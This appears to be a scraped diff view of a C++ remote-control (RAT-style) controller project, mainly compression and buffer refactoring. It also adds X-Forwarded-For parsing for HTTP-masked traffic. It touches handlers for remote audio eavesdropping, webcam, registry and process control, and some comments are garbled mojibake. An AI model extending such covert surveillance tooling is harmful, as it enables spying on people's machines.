case TOKEN_PSLIST: // 进程管理【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_AUDIO_START: // 语音监听
|
case TOKEN_AUDIO_START: // 语音监听【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_REGEDIT: // 注册表管理
|
case TOKEN_REGEDIT: // 注册表管理【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_SERVERLIST: // 服务管理
|
case TOKEN_SERVERLIST: // 服务管理【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case CMD_PADDING: {
|
case CMD_PADDING: { // 随机填充
|
||||||
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
|
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -186,16 +186,17 @@ ULONG CBuffer::GetBufferLength() //
|
|||||||
return len;
|
return len;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CBuffer::Skip(ULONG ulPos) {
|
std::string CBuffer::Skip(ULONG ulPos) {
|
||||||
if (ulPos == 0)
|
if (ulPos == 0)
|
||||||
return;
|
return "";
|
||||||
|
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
|
std::string ret(m_Base, m_Base + ulPos);
|
||||||
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
|
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
|
||||||
m_Ptr -= ulPos;
|
m_Ptr -= ulPos;
|
||||||
|
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
|
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
|
||||||
|
|||||||
@@ -86,7 +86,7 @@ public:
|
|||||||
BYTE GetBYTE(ULONG ulPos);
|
BYTE GetBYTE(ULONG ulPos);
|
||||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
|
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
|
||||||
ULONG RemoveCompletedBuffer(ULONG ulLength);
|
ULONG RemoveCompletedBuffer(ULONG ulLength);
|
||||||
void Skip(ULONG ulPos);
|
std::string Skip(ULONG ulPos);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
PBYTE m_Base;
|
PBYTE m_Base;
|
||||||
|
|||||||
@@ -589,12 +589,8 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
||||||
#if USING_LZ4
|
|
||||||
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
|
|
||||||
#else
|
|
||||||
unsigned long ulCompressedLength = usingZstd ?
|
unsigned long ulCompressedLength = usingZstd ?
|
||||||
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
|
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
|
||||||
#endif
|
|
||||||
BYTE buf[1024];
|
BYTE buf[1024];
|
||||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
|
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
|
||||||
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
||||||
|
|||||||
@@ -18,14 +18,7 @@
|
|||||||
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||||
#include "zlib/zlib.h"
|
#include "zlib/zlib.h"
|
||||||
|
|
||||||
#if USING_LZ4
|
// ZSTD
|
||||||
#include "lz4/lz4.h"
|
|
||||||
#pragma comment(lib, "lz4/lz4.lib")
|
|
||||||
#define C_FAILED(p) (0 == (p))
|
|
||||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
|
||||||
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
|
||||||
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
|
||||||
#else // ZSTD
|
|
||||||
#include "zstd/zstd.h"
|
#include "zstd/zstd.h"
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||||
@@ -42,7 +35,6 @@
|
|||||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||||
#endif
|
#endif
|
||||||
#endif
|
|
||||||
|
|
||||||
|
|
||||||
class IOCPServer : public Server
|
class IOCPServer : public Server
|
||||||
@@ -142,12 +134,7 @@ public:
|
|||||||
m_iocpServer(pIOCPServer),
|
m_iocpServer(pIOCPServer),
|
||||||
CDialog(nIDTemplate, pParent) {
|
CDialog(nIDTemplate, pParent) {
|
||||||
|
|
||||||
sockaddr_in sockAddr;
|
m_IPAddress = pContext->GetPeerName().c_str();
|
||||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
|
||||||
int nSockAddrLen = sizeof(sockaddr_in);
|
|
||||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
|
||||||
|
|
||||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
|
||||||
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
||||||
}
|
}
|
||||||
virtual ~CDialogBase(){}
|
virtual ~CDialogBase(){}
|
||||||
|
|||||||
@@ -76,7 +76,19 @@ protected:
|
|||||||
virtual ~HeaderParser() {
|
virtual ~HeaderParser() {
|
||||||
Reset();
|
Reset();
|
||||||
}
|
}
|
||||||
PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
|
std::string getXForwardedFor(const std::string& headers) {
|
||||||
|
const std::string key = "X-Forwarded-For: ";
|
||||||
|
size_t pos = headers.find(key);
|
||||||
|
if (pos == std::string::npos)
|
||||||
|
return "";
|
||||||
|
pos += key.size();
|
||||||
|
size_t end = headers.find("\r\n", pos);
|
||||||
|
if (end == std::string::npos)
|
||||||
|
return "";
|
||||||
|
std::string ip = headers.substr(pos, end - pos);
|
||||||
|
return ip;
|
||||||
|
}
|
||||||
|
PR Parse(CBuffer& buf, int& compressMethod, std::string &peer) {
|
||||||
const int MinimumCount = MIN_COMLEN;
|
const int MinimumCount = MIN_COMLEN;
|
||||||
if (buf.GetBufferLength() < MinimumCount) {
|
if (buf.GetBufferLength() < MinimumCount) {
|
||||||
return PR{ PARSER_NEEDMORE };
|
return PR{ PARSER_NEEDMORE };
|
||||||
@@ -86,10 +98,14 @@ protected:
|
|||||||
ULONG srcSize = buf.GetBufferLength();
|
ULONG srcSize = buf.GetBufferLength();
|
||||||
PkgMaskType maskType = MaskTypeUnknown;
|
PkgMaskType maskType = MaskTypeUnknown;
|
||||||
ULONG ret = TryUnMask(src, srcSize, maskType);
|
ULONG ret = TryUnMask(src, srcSize, maskType);
|
||||||
|
std::string str = buf.Skip(ret);
|
||||||
|
if (maskType == MaskTypeHTTP) {
|
||||||
|
std::string clientIP = getXForwardedFor(str);
|
||||||
|
if (!clientIP.empty()) peer = clientIP;
|
||||||
|
}
|
||||||
if (nullptr == m_Masker) {
|
if (nullptr == m_Masker) {
|
||||||
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
|
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
|
||||||
}
|
}
|
||||||
buf.Skip(ret);
|
|
||||||
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
|
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
|
||||||
return PR{ PARSER_NEEDMORE };
|
return PR{ PARSER_NEEDMORE };
|
||||||
|
|
||||||
|
|||||||
@@ -62,11 +62,7 @@ BOOL CProxyMapDlg::OnInitDialog()
|
|||||||
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
|
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
|
||||||
|
|
||||||
CString strString;
|
CString strString;
|
||||||
sockaddr_in ClientAddress;
|
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
|
||||||
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
|
||||||
int iClientAddressLength = sizeof(ClientAddress);
|
|
||||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
|
|
||||||
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
|
|
||||||
SetWindowText(strString);
|
SetWindowText(strString);
|
||||||
|
|
||||||
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
|
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
|
||||||
|
|||||||
@@ -5,12 +5,8 @@
|
|||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
|
||||||
#define USING_LZ4 0
|
|
||||||
#if !USING_LZ4
|
|
||||||
#define USING_ZSTD 1
|
#define USING_ZSTD 1
|
||||||
#define USING_CTX 0
|
#define USING_CTX 0
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifndef _SECURE_ATL
|
#ifndef _SECURE_ATL
|
||||||
#define _SECURE_ATL 1
|
#define _SECURE_ATL 1
|
||||||
|
|||||||
Reference in New Issue
Block a user